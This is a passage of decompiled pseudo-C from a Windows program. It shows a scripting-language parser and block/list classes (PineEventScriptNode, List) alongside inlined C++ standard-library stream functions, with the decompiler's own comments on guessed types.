!PineScriptToken::operator__(&tkn, ".") ) result = 1; else LABEL_14: result = 0; return result; } //----- (0049E460) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::OtherStatement::sa_Load(PineEventScriptNode::OtherStatement *this, PineScriptReader::TokenReader *tr) { PineScriptReader::TokenReader *v2; // edi@1 PineEventScriptNode::OtherStatement *v3; // ebp@1 int v4; // esi@2 PineScriptToken *v5; // eax@2 bool v6; // cf@3 char v7; // dl@5 __int16 v8; // ax@7 int v9; // ebp@12 int v10; // edi@14 PineScriptToken *v11; // esi@14 signed int v12; // ecx@14 bool v13; // zf@14 void *v14; // eax@18 bool v15; // sf@22 unsigned __int8 v16; // of@22 int v18; // eax@24 int v19; // eax@26 const void *v20; // esi@28 int i; // [sp+10h] [bp-20Ch]@12 PineEventScriptNode::OtherStatement *v22; // [sp+14h] [bp-208h]@1 PineScriptToken tkn; // [sp+18h] [bp-204h]@1 PineScriptToken err; // [sp+118h] [bp-104h]@28 v2 = tr; v3 = this; v22 = this; tkn.pst_Buffer[0] = 0; if ( !PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) goto LABEL_34; v4 = (int)v3->os_Command; v5 = &tkn; while ( 1 ) { v6 = (unsigned __int8)v5->pst_Buffer[0] < *(_BYTE *)v4; if ( v5->pst_Buffer[0] != *(_BYTE *)v4 ) break; if ( !v5->pst_Buffer[0] ) goto LABEL_7; v7 = v5->pst_Buffer[1]; v6 = (unsigned __int8)v7 < *(_BYTE *)(v4 + 1); if ( v7 != *(_BYTE *)(v4 + 1) ) break; v5 = (PineScriptToken *)((char *)v5 + 2); v4 += 2; if ( !v7 ) { LABEL_7: v8 = 0; goto LABEL_9; } } v8 = -v6 - (v6 - 1); LABEL_9: if ( v8 ) { LABEL_34: v20 = &tkn; } else { if ( v3->os_IDRead && !(unsigned __int16)v3->os_Ident.baseclass_0.vfptr->sa_Load(&v3->os_Ident, tr) ) return 0; i = 0; v9 = (int)v3->os_Express; while ( 1 ) { if ( PineScriptReader::TokenReader::tr_GetToken(tr, &tkn) ) { v10 = (int)"."; v11 = &tkn; v12 = 2; v13 = 1; do { if ( !v12 ) break; v13 = v11->pst_Buffer[0] == *(_BYTE *)v10; v11 = (PineScriptToken *)((char *)v11 + 1); ++v10; --v12; } while ( v13 ); if ( v13 ) break; } memcpy(&tr->tr_UngetToken, &tkn, sizeof(tr->tr_UngetToken)); v14 = operator new(0x11Cu); if ( v14 ) { *(_DWORD *)v14 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v14 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v14 + 3) = 0; *((_DWORD *)v14 + 2) = 0; *((_DWORD *)v14 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v14 + 20) = 0; *((_DWORD *)v14 + 69) = 0; *((_DWORD *)v14 + 70) = 0; } else { v14 = 0; } *(_DWORD *)v9 = v14; if ( !(unsigned __int16)(**(int (__thiscall ***)(void *, PineScriptReader::TokenReader *))v14)(v14, tr) ) return 0; v9 += 4; v16 = __OFSUB__(i + 1, 32); v15 = i++ - 31 < 0; if ( !(v15 ^ v16) ) return 1; } v18 = v22->os_ExpressNumMax; if ( v18 <= 0 || !v22->os_Express[v18] && ((v19 = v22->os_ExpressNumMin) == 0 || *((_DWORD *)&v22->os_Ident.i_Exp + v19)) ) return 1; PineScriptToken::PineScriptToken(&err, (char *)"~"); v2 = tr; v20 = &err; } memcpy(&v2->tr_UngetToken, v20, sizeof(v2->tr_UngetToken)); return 0; } // 5B0F2C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5B1168: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (0049E620) -------------------------------------------------------- void __thiscall std::basic_stringstream_std::allocator>::_vbase_destructor(std::basic_stringstream,std::allocator > *this) { std::basic_ios > *v1; // esi@1 v1 = (std::basic_ios > *)this->gap54; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>((std::basic_stringstream,std::allocator > *)((char *)this + 84)); std::basic_ios>::_basic_ios>(v1); } //----- (0049E640) -------------------------------------------------------- void *__thiscall std::basic_stringstream_std::allocator>::_scalar_deleting_destructor_(std::basic_stringstream,std::allocator > *this, char a2) { void *v2; // esi@1 std::basic_ios > *v3; // edi@1 v2 = (char *)this - 84; v3 = (std::basic_ios > *)this; std::basic_stringstream_std::allocator>::_basic_stringstream_std::allocator>(this); std::basic_ios>::_basic_ios>(v3); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0049E670) -------------------------------------------------------- void __thiscall std::basic_ostream>::sentry::_sentry(std::basic_ostream >::sentry *this) { std::basic_ostream > **v1; // esi@1 int v2; // eax@4 v1 = (std::basic_ostream > **)this; if ( !std::uncaught_exception() && (*v1)->dummy[*(_DWORD *)(*(_DWORD *)&(*v1)->dummy[0] + 4) + 16] & 2 ) std::basic_ostream>::flush(*v1); v2 = *(_DWORD *)&(*v1)->dummy[*(_DWORD *)(*(_DWORD *)&(*v1)->dummy[0] + 4) + 40]; if ( v2 ) std::_Mutex::_Unlock((std::_Mutex *)(v2 + 4)); } //----- (0049E6E0) -------------------------------------------------------- std::basic_ostream > *__cdecl std::operator<<_std::allocator>(std::basic_ostream > *_Ostr, std::basic_string,std::allocator > *_Str) { int v2; // eax@0 int v3; // ebx@0 int v4; // edi@0 int v5; // esi@0 std::basic_string,std::allocator > *v6; // ebx@1 unsigned int v7; // ecx@1 int v8; // eax@1 unsigned int v9; // esi@1 int v10; // eax@7 char *v11; // ecx@9 int v12; // eax@9 int v13; // ecx@9 int v14; // edx@9 int v15; // ecx@11 int v16; // edx@11 int v17; // eax@18 int v18; // ecx@21 int v19; // edx@21 int v20; // eax@21 int v21; // ecx@23 int v22; // edx@23 int v23; // edx@30 int v24; // eax@30 int v25; // ecx@30 int v26; // edx@30 int v27; // ecx@32 int v28; // edx@32 char *v29; // ecx@39 int v30; // eax@40 int v31; // ebx@44 int v32; // eax@44 signed int v33; // esi@45 int v34; // ecx@48 int v35; // eax@49 int v36; // eax@52 int v38; // [sp-Ch] [bp-30h]@1 int v39; // [sp-8h] [bp-2Ch]@1 int v40; // [sp-4h] [bp-28h]@1 int _Ok; // [sp+0h] [bp-24h]@5 char v42; // [sp+4h] [bp-20h]@5 unsigned int _Size; // [sp+8h] [bp-1Ch]@1 unsigned int _Pad; // [sp+Ch] [bp-18h]@3 int _State; // [sp+10h] [bp-14h]@1 int *v46; // [sp+14h] [bp-10h]@1 int v47; // [sp+18h] [bp-Ch]@1 int (*v48)(); // [sp+1Ch] [bp-8h]@1 int v49; // [sp+20h] [bp-4h]@1 v49 = -1; v48 = _ehhandler_____6DU__char_traits_D_std__V__allocator_D_1__std__YAAAV__basic_ostream_DU__char_traits_D_std___0_AAV10_ABV__basic_string_DU__char_traits_D_std__V__allocator_D_2__0__Z; v47 = v2; v40 = v3; v6 = _Str; v7 = _Str->_Mysize; v39 = v5; v38 = v4; v8 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24]; v9 = 0; v46 = &v38; _State = 0; _Size = v7; if ( v8 <= 0 || v8 <= v7 ) _Pad = 0; else _Pad = v8 - v7; std::basic_ostream>::sentry::sentry( (std::basic_ostream >::sentry *)&_Ok, _Ostr); v49 = 0; if ( !v42 ) { _State = 4; goto LABEL_39; } v10 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 16] & 0x1C0; LOBYTE(v49) = 1; if ( v10 == 64 ) goto LABEL_16; while ( _Pad ) { v11 = (char *)_Ostr + *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v12) = v11[48]; v13 = *((_DWORD *)v11 + 10); v14 = *(_DWORD *)(v13 + 36); if ( *(_DWORD *)v14 && *(_DWORD *)v14 < (unsigned int)(*(_DWORD *)v14 + **(_DWORD **)(v13 + 52)) ) { --**(_DWORD **)(v13 + 52); v15 = *(_DWORD *)(v13 + 36); v16 = (*(_DWORD *)v15)++; *(_BYTE *)v16 = v12; v12 = (unsigned __int8)v12; } else { v12 = (*(int (__cdecl **)(_DWORD, int, int, int))(*(_DWORD *)v13 + 4))((unsigned __int8)v12, v38, v39, v40); } if ( v12 == -1 ) { _State |= 4u; break; } --_Pad; } v9 = 0; if ( _State ) goto LABEL_37; LABEL_16: while ( v9 < _Size ) { if ( v6->_Myres < 0x10 ) v17 = (int)&v6->_Bx; else v17 = *(_DWORD *)&v6->_Bx._Buf[0]; v18 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 40]; v19 = *(_DWORD *)(v18 + 36); LOBYTE(v20) = *(_BYTE *)(v17 + v9); if ( *(_DWORD *)v19 ) { if ( *(_DWORD *)v19 < (unsigned int)(*(_DWORD *)v19 + **(_DWORD **)(v18 + 52)) ) { --**(_DWORD **)(v18 + 52); v21 = *(_DWORD *)(v18 + 36); v22 = (*(_DWORD *)v21)++; v6 = _Str; *(_BYTE *)v22 = v20; v20 = (unsigned __int8)v20; goto LABEL_26; } v6 = _Str; } v20 = (*(int (__cdecl **)(_DWORD))(*(_DWORD *)v18 + 4))((unsigned __int8)v20); LABEL_26: if ( v20 == -1 ) { _State |= 4u; break; } ++v9; } if ( !_State ) { while ( _Pad ) { v23 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v24) = _Ostr->dummy[v23 + 48]; v25 = *(_DWORD *)&_Ostr->dummy[v23 + 40]; v26 = *(_DWORD *)(v25 + 36); if ( *(_DWORD *)v26 && *(_DWORD *)v26 < (unsigned int)(*(_DWORD *)v26 + **(_DWORD **)(v25 + 52)) ) { --**(_DWORD **)(v25 + 52); v27 = *(_DWORD *)(v25 + 36); v28 = (*(_DWORD *)v27)++; *(_BYTE *)v28 = v24; v24 = (unsigned __int8)v24; } else { v24 = (*(int (__cdecl **)(_DWORD))(*(_DWORD *)v25 + 4))((unsigned __int8)v24); } if ( v24 == -1 ) { _State |= 4u; break; } --_Pad; } } LABEL_37: *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24] = 0; LABEL_39: v29 = (char *)_Ostr + *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); v49 = 0; if ( _State ) { v30 = _State | *((_DWORD *)v29 + 2); if ( !*((_DWORD *)v29 + 10) ) v30 |= 4u; std::ios_base::clear((std::ios_base *)v29, v30, 0); } v49 = 3; if ( !std::uncaught_exception() ) { v31 = _Ok; v32 = *(_DWORD *)(*(_DWORD *)_Ok + 4) + _Ok; if ( *(_BYTE *)(v32 + 16) & 2 ) { v33 = 0; if ( !(*(_BYTE *)(v32 + 8) & 6) && (*(int (__thiscall **)(_DWORD))(**(_DWORD **)(v32 + 40) + 44))(*(_DWORD *)(v32 + 40)) == -1 ) v33 = 4; v34 = v31 + *(_DWORD *)(*(_DWORD *)v31 + 4); if ( v33 ) { v35 = v33 | *(_DWORD *)(v34 + 8); if ( !*(_DWORD *)(v34 + 40) ) v35 |= 4u; std::ios_base::clear((std::ios_base *)v34, v35, 0); } } } v36 = *(_DWORD *)(*(_DWORD *)(*(_DWORD *)_Ok + 4) + _Ok + 40); v49 = -1; if ( v36 ) std::_Mutex::_Unlock((std::_Mutex *)(v36 + 4)); return _Ostr; } // 49E6E0: could not find valid save-restore pair for ebx // 49E6E0: could not find valid save-restore pair for edi // 49E6E0: could not find valid save-restore pair for esi // 5877B0: using guessed type int _ehhandler$??$?6DU?$char_traits_D_std__V?$allocator_D_1__std__YAAAV?$basic_ostream_DU?$char_traits_D_std___0_AAV10_ABV?$basic_string_DU?$char_traits_D_std__V?$allocator_D_2__0__Z(); //----- (0049E990) -------------------------------------------------------- std::basic_ostream > *__cdecl std::operator<<>(std::basic_ostream > *_Ostr, const char *_Val) { int v2; // eax@0 int v3; // ebx@0 int v4; // edi@0 int v5; // esi@0 int v6; // ebx@1 unsigned int v7; // edi@1 signed int v8; // eax@1 signed int v9; // edx@5 int v10; // eax@6 int v11; // edx@8 int v12; // eax@8 int v13; // ecx@8 int v14; // edx@8 int v15; // ecx@10 int v16; // edx@10 int v17; // edx@21 int v18; // eax@21 int v19; // ecx@21 int v20; // edx@21 int v21; // ecx@23 int v22; // edx@23 int v23; // edx@26 char *v24; // ecx@29 int v25; // eax@30 int v27; // [sp-Ch] [bp-2Ch]@1 int v28; // [sp-8h] [bp-28h]@1 int v29; // [sp-4h] [bp-24h]@1 char _Ok; // [sp+0h] [bp-20h]@4 char v31; // [sp+4h] [bp-1Ch]@4 int _Pad; // [sp+8h] [bp-18h]@4 int _State; // [sp+Ch] [bp-14h]@1 int *v34; // [sp+10h] [bp-10h]@1 int v35; // [sp+14h] [bp-Ch]@1 int (*v36)(); // [sp+18h] [bp-8h]@1 int v37; // [sp+1Ch] [bp-4h]@1 v37 = -1; v36 = _ehhandler_____6U__char_traits_D_std___std__YAAAV__basic_ostream_DU__char_traits_D_std___0_AAV10_PBD_Z; v35 = v2; v29 = v3; v28 = v5; v27 = v4; v6 = 0; v34 = &v27; _State = 0; v7 = strlen(_Val); v8 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24]; if ( v8 > 0 && v8 > (signed int)v7 ) v6 = v8 - v7; _Pad = v6; std::basic_ostream>::sentry::sentry( (std::basic_ostream >::sentry *)&_Ok, _Ostr); v37 = 0; if ( !v31 ) { v9 = 4; goto LABEL_29; } v10 = *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 16] & 0x1C0; LOBYTE(v37) = 1; if ( v10 == 64 ) { LABEL_16: if ( (*(int (__cdecl **)(const char *, unsigned int))(**(_DWORD **)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 40] + 28))( _Val, v7) == v7 ) { while ( v6 > 0 ) { v17 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v18) = _Ostr->dummy[v17 + 48]; v19 = *(_DWORD *)&_Ostr->dummy[v17 + 40]; v20 = *(_DWORD *)(v19 + 36); if ( *(_DWORD *)v20 && *(_DWORD *)v20 < (unsigned int)(*(_DWORD *)v20 + **(_DWORD **)(v19 + 52)) ) { --**(_DWORD **)(v19 + 52); v21 = *(_DWORD *)(v19 + 36); v22 = (*(_DWORD *)v21)++; *(_BYTE *)v22 = v18; v18 = (unsigned __int8)v18; } else { v18 = (*(int (__cdecl **)(_DWORD))(*(_DWORD *)v19 + 4))((unsigned __int8)v18); } if ( v18 == -1 ) { v23 = *(_DWORD *)&_Ostr->dummy[0]; _State |= 4u; *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(v23 + 4) + 24] = 0; goto LABEL_28; } --v6; } } else { _State = 4; } goto LABEL_18; } while ( v6 > 0 ) { v11 = *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); LOBYTE(v12) = _Ostr->dummy[v11 + 48]; v13 = *(_DWORD *)&_Ostr->dummy[v11 + 40]; v14 = *(_DWORD *)(v13 + 36); if ( *(_DWORD *)v14 ) { if ( *(_DWORD *)v14 < (unsigned int)(*(_DWORD *)v14 + **(_DWORD **)(v13 + 52)) ) { --**(_DWORD **)(v13 + 52); v15 = *(_DWORD *)(v13 + 36); v16 = (*(_DWORD *)v15)++; v6 = _Pad; *(_BYTE *)v16 = v12; v12 = (unsigned __int8)v12; goto LABEL_13; } v6 = _Pad; } v12 = (*(int (__cdecl **)(_DWORD, int, int, int))(*(_DWORD *)v13 + 4))((unsigned __int8)v12, v27, v28, v29); LABEL_13: if ( v12 == -1 ) { _State |= 4u; break; } --v6; _Pad = v6; } if ( !_State ) goto LABEL_16; LABEL_18: *(_DWORD *)&_Ostr->dummy[*(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4) + 24] = 0; LABEL_28: v9 = _State; LABEL_29: v24 = (char *)_Ostr + *(_DWORD *)(*(_DWORD *)&_Ostr->dummy[0] + 4); v37 = 0; if ( v9 ) { v25 = v9 | *((_DWORD *)v24 + 2); if ( !*((_DWORD *)v24 + 10) ) v25 |= 4u; std::ios_base::clear((std::ios_base *)v24, v25, 0); } v37 = -1; std::basic_ostream>::sentry::_sentry((std::basic_ostream >::sentry *)&_Ok); return _Ostr; } // 49E990: could not find valid save-restore pair for ebx // 49E990: could not find valid save-restore pair for edi // 49E990: could not find valid save-restore pair for esi // 5877C8: using guessed type int _ehhandler$??$?6U?$char_traits_D_std___std__YAAAV?$basic_ostream_DU?$char_traits_D_std___0_AAV10_PBD_Z(); //----- (0049EBA0) -------------------------------------------------------- std::num_put > > *__cdecl std::use_facet>>>(std::locale *_Loc) { int v1; // edi@1 std::locale::facet *v2; // esi@5 unsigned int v3; // eax@11 int _Psave; // [sp+8h] [bp-24h]@1 std::_Lockit this; // [sp+Ch] [bp-20h]@2 std::_Lockit _Lock; // [sp+10h] [bp-1Ch]@1 char pExceptionObject; // [sp+14h] [bp-18h]@9 int v9; // [sp+28h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); v1 = std::_Facetptr>>>::_Psave; v9 = 0; _Psave = std::_Facetptr>>>::_Psave; if ( !std::num_put>>::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::num_put>>::id ) { ++std::locale::id::_Id_cnt; std::num_put>>::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v2 = std::locale::_Getfacet(_Loc, std::num_put>>::id); if ( !v2 ) { if ( v1 ) { v2 = (std::locale::facet *)v1; } else { if ( std::num_put>>::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v2 = (std::locale::facet *)_Psave; std::_Facetptr>>>::_Psave = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = v2->_Refs; if ( v3 < 0xFFFFFFFF ) v2->_Refs = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register(v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::num_put > > *)v2; } // 12441B4C: using guessed type int std___Facetptr_std__num_put_char_std__ostreambuf_iterator_char_std__char_traits_char_______Psave; // 1466CBF0: using guessed type int std__locale__id___Id_cnt; //----- (0049ECB0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0049EDD0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (0049EEF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptParameterPaser::ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this, PineEventScriptNode::Express **ppExpress, PineScriptStack::ProcessStack *ps) { this->m_ppExpress = ppExpress; this->vfptr = (PineEventScriptNode::ScriptParameterPaserVtbl *)&PineEventScriptNode::ScriptParameterPaser::_vftable_; this->m_pPS = ps; this->m_strErrorMsg._Myres = 15; this->m_strErrorMsg._Mysize = 0; this->m_strErrorMsg._Bx._Buf[0] = 0; this->m_tkn.pst_Buffer[0] = 0; } // 5B1578: using guessed type int (__thiscall *PineEventScriptNode__ScriptParameterPaser___vftable_)(void *p, char); //----- (0049EF20) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptParameterPaser::_ScriptParameterPaser(PineEventScriptNode::ScriptParameterPaser *this) { PineEventScriptNode::ScriptParameterPaser *v1; // esi@1 v1 = this; this->vfptr = (PineEventScriptNode::ScriptParameterPaserVtbl *)&PineEventScriptNode::ScriptParameterPaser::_vftable_; if ( this->m_strErrorMsg._Myres >= 0x10 ) operator delete(*(void **)&this->m_strErrorMsg._Bx._Buf[0]); v1->m_strErrorMsg._Myres = 15; v1->m_strErrorMsg._Mysize = 0; v1->m_strErrorMsg._Bx._Buf[0] = 0; } // 5B1578: using guessed type int (__thiscall *PineEventScriptNode__ScriptParameterPaser___vftable_)(void *p, char); //----- (0049EF50) -------------------------------------------------------- std::basic_ostream > *__thiscall std::basic_ostream>::operator<<(std::basic_ostream > *this, int _Val) { int v2; // eax@0 int v3; // ebx@0 int v4; // edi@0 int v5; // esi@0 std::basic_ostream > *v6; // esi@1 std::locale *v7; // eax@2 std::num_put > > *v8; // eax@2 std::locale v9; // edi@2 std::num_put > > *v10; // ebx@2 unsigned int v11; // eax@3 int v12; // edi@6 std::locale::facetVtbl *v13; // edx@8 int v14; // ecx@10 int v15; // eax@11 int v17; // [sp-Ch] [bp-3Ch]@1 int v18; // [sp-8h] [bp-38h]@1 int v19; // [sp-4h] [bp-34h]@1 int v20; // [sp+0h] [bp-30h]@8 char _Ok; // [sp+8h] [bp-28h]@1 char v22; // [sp+Ch] [bp-24h]@1 std::_Lockit thisa; // [sp+10h] [bp-20h]@3 std::locale result; // [sp+14h] [bp-1Ch]@2 int _State; // [sp+18h] [bp-18h]@1 std::basic_ostream > *v26; // [sp+1Ch] [bp-14h]@1 int *v27; // [sp+20h] [bp-10h]@1 int v28; // [sp+24h] [bp-Ch]@1 int (*v29)(); // [sp+28h] [bp-8h]@1 int v30; // [sp+2Ch] [bp-4h]@1 v30 = -1; v29 = _ehhandler___6__basic_ostream_DU__char_traits_D_std___std__QAEAAV01_H_Z; v28 = v2; v19 = v3; v18 = v5; v17 = v4; v6 = this; v27 = &v17; v26 = this; _State = 0; std::basic_ostream>::sentry::sentry( (std::basic_ostream >::sentry *)&_Ok, this); v30 = 0; if ( v22 ) { v7 = std::ios_base::getloc((std::ios_base *)((char *)v6 + *(_DWORD *)(*(_DWORD *)&v6->dummy[0] + 4)), &result); LOBYTE(v30) = 1; v8 = std::use_facet>>>(v7); v9 = result; v10 = v8; LOBYTE(v30) = 0; if ( result ) { std::_Lockit::_Lockit(&thisa, 0); v11 = *(_DWORD *)(*(_DWORD *)&v9 + 4); if ( v11 && v11 < 0xFFFFFFFF ) *(_DWORD *)(*(_DWORD *)&v9 + 4) = v11 - 1; v12 = ((*(_DWORD *)(*(_DWORD *)&v9 + 4) != 0) - 1) & *(_DWORD *)&v9; std::_Lockit::__Lockit(&thisa); if ( v12 ) (**(void (__thiscall ***)(_DWORD))v12)(v12); } LOBYTE(thisa._Locktype) = v6->dummy[*(_DWORD *)(*(_DWORD *)&v6->dummy[0] + 4) + 48]; v13 = v10->baseclass_0.vfptr; LOBYTE(v20) = 0; LOBYTE(v30) = 2; ((void (__thiscall *)(std::num_put > > *))v13[7].__vecDelDtor)(v10); if ( (_BYTE)v20 ) _State = 4; } v14 = (int)((char *)v6 + *(_DWORD *)(*(_DWORD *)&v6->dummy[0] + 4)); v30 = 0; if ( _State ) { v15 = _State | *(_DWORD *)(v14 + 8); if ( !*(_DWORD *)(v14 + 40) ) v15 |= 4u; std::ios_base::clear((std::ios_base *)v14, v15, 0); } v30 = -1; std::basic_ostream>::sentry::_sentry((std::basic_ostream >::sentry *)&_Ok); return v6; } // 49EF50: could not find valid save-restore pair for ebx // 49EF50: could not find valid save-restore pair for edi // 49EF50: could not find valid save-restore pair for esi // 49EF50: inconsistent function type and number of purged bytes // 5877F0: using guessed type int _ehhandler$??6?$basic_ostream_DU?$char_traits_D_std___std__QAEAAV01_H_Z(); //----- (0049F0C0) -------------------------------------------------------- void __thiscall List::List(List *this, ListArray *array) { List *v2; // esi@1 signed int v3; // eax@4 int v4; // edx@5 ListStruct *v5; // ecx@7 PineEventScriptNode::Statement *v6; // ebx@7 int v7; // ecx@7 v2 = this; this->vfptr = (ListVtbl *)List::_vftable_; this->l_ListArray = array; if ( array->la_Array ) { List::l_MakeList(this, LOWORD(array->la_Size)); if ( v2->l_Array ) { v3 = 0; if ( v2->l_MaxSize ) { v4 = 0; do { if ( v3 < v2->l_MaxSize ) { v5 = v2->l_Array; v6 = v5[v4].ls_Content; v7 = (int)&v5[v4]; if ( !v6 ) *(_DWORD *)v7 = &array->la_Array[v3]; } ++v3; ++v4; } while ( v3 < v2->l_MaxSize ); } } } else { this->l_Array = 0; } } // 5B10F8: using guessed type int (__stdcall *List_PineEventScriptNode__Statement____vftable_[3])(__int16 hnd); //----- (0049F140) -------------------------------------------------------- void __thiscall List::List(List *this, ListArray *array) { List *v2; // esi@1 int v3; // edi@1 signed int v4; // ecx@4 int v5; // edx@5 ListStruct *v6; // eax@7 PineEventScriptNode::Block *v7; // ebp@7 int v8; // eax@7 v2 = this; this->vfptr = (ListVtbl *)List::_vftable_; this->l_ListArray = array; v3 = 0; if ( array->la_Array ) { List::l_MakeList(this, LOWORD(array->la_Size)); if ( v2->l_Array ) { v4 = 0; if ( v2->l_MaxSize > 0u ) { v5 = 0; do { if ( v4 < v2->l_MaxSize ) { v6 = v2->l_Array; v7 = v6[v5].ls_Content; v8 = (int)&v6[v5]; if ( !v7 ) *(_DWORD *)v8 = &array->la_Array[v3]; } ++v4; ++v3; ++v5; } while ( v4 < v2->l_MaxSize ); } } } else { this->l_Array = 0; } } // 5B1114: using guessed type int (__stdcall *List_PineEventScriptNode__Block____vftable_[3])(__int16 hnd); //----- (0049F1C0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Block::Block(PineEventScriptNode::Block *this) { PineEventScriptNode::Block *v1; // esi@1 void *v2; // eax@1 void *v3; // edi@1 void *v4; // eax@2 int v5; // ebp@3 void *v6; // eax@6 List *v7; // eax@7 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Block::_vftable_; this->b_BlockName.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::BlockName::_vftable_; this->b_BlockName.bn_Name.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Id::_vftable_; this->b_BlockName.bn_Name.i_Identify.pst_Buffer[0] = 0; v2 = operator new(8u); v3 = v2; if ( v2 ) { *((_DWORD *)v2 + 1) = 16; v4 = operator new__(0x84u); if ( v4 ) { v5 = (int)((char *)v4 + 4); *(_DWORD *)v4 = 16; _eh_vector_constructor_iterator_( (char *)v4 + 4, 8u, 16, (void (__thiscall *)(void *))PineEventScriptNode::Statement::Statement, (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); *(_DWORD *)v3 = v5; } else { *(_DWORD *)v3 = 0; } } else { v3 = 0; } v1->b_StatementArray = (ListArray *)v3; v6 = operator new(0x18u); if ( v6 ) List::List( (List *)v6, v1->b_StatementArray); else v7 = 0; v1->b_StatementList = v7; } // 5B0FD4: using guessed type int (__stdcall *PineEventScriptNode__Id___vftable_)(int tr); // 5B1024: using guessed type int (__stdcall *PineEventScriptNode__BlockName___vftable_)(int tr); // 5B1300: using guessed type int (__stdcall *PineEventScriptNode__Block___vftable_)(int tr); 